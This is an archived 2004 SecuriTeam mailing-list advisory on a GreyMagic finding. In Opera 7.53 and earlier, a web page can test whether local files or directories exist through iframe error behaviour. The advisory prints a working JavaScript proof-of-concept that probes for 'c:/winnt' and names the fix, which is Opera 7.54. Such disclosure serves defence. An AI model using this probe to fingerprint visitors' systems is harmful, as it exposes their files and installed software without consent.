

[NEWS] Opera Local File/Directory Detection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0061.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/17/04

To: list@securiteam.com

Date: 17 Aug 2004 17:33:02 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Opera Local File/Directory Detection

SUMMARY

While working on a proof-of-concept exploit for the previous Opera <<http://www.greymagic.com/security/advisories/gm008-op/>> advisory GreyMagic needed to find a way to detect the victim's system root directory, in order to locate a specific resource that's required for exploitation. After a bit of investigation, we found that we can easily determine whether a directory (or file) exists or not.

DETAILS

Affected applications:

* Opera version 7.53 and prior on Windows, Linux and Mac.

When a non-existent file or directory is assigned to an iframe, an error is thrown to the user and the actual location of the iframe does not change.

This situation can easily be detected by an attacker using an accessible iframe (within the same domain). By changing its URL to the location of a file or directory and then checking whether an error is thrown when trying to access its DOM, the attacker can determine whether the resource exists.

Securiteam: [NEWS] Opera Local File/Directory Detection

Exploit:

The following sample code determines whether the directory "c:/winnt" exists:

```
< iframe src="blank.html"></iframe>
< script type="text/javascript">
onload=function () {
  var sLocal="c:/winnt";
  frames[0].location.href=sLocal;
  setTimeout(
    function () {
      try {
        frames[0].document;
        alert(sLocal+" does not exists.");
      } catch (oErr) {
        alert(sLocal+" exists.");
      }
    },
    250
  );
}
```

An attacker is likely to run this against a group of directories in order to find the right one or determine whether specific programs are installed.

Demonstration:

Proof-of-concept demonstrations of this issue can be found in GreyMagic's <http://www.greymagic.com/security/advisories/gm008-op/> previous Opera advisory.

Solution:

Update to Opera version 7.54 or newer.

One of the changes in Opera 7.54 was to completely block access to the file:// protocol from non-local URLs. That change also happens to protect against this vulnerability.

ADDITIONAL INFORMATION

The information has been provided by <mailto:security@greymagic.com> GreyMagic Software.

The original article can be found at:

<http://www.greymagic.com/security/advisories/gm009-op/>
<http://www.greymagic.com/security/advisories/gm009-op/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

Securiteam: [NEWS] Opera Local File/Directory Detection

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.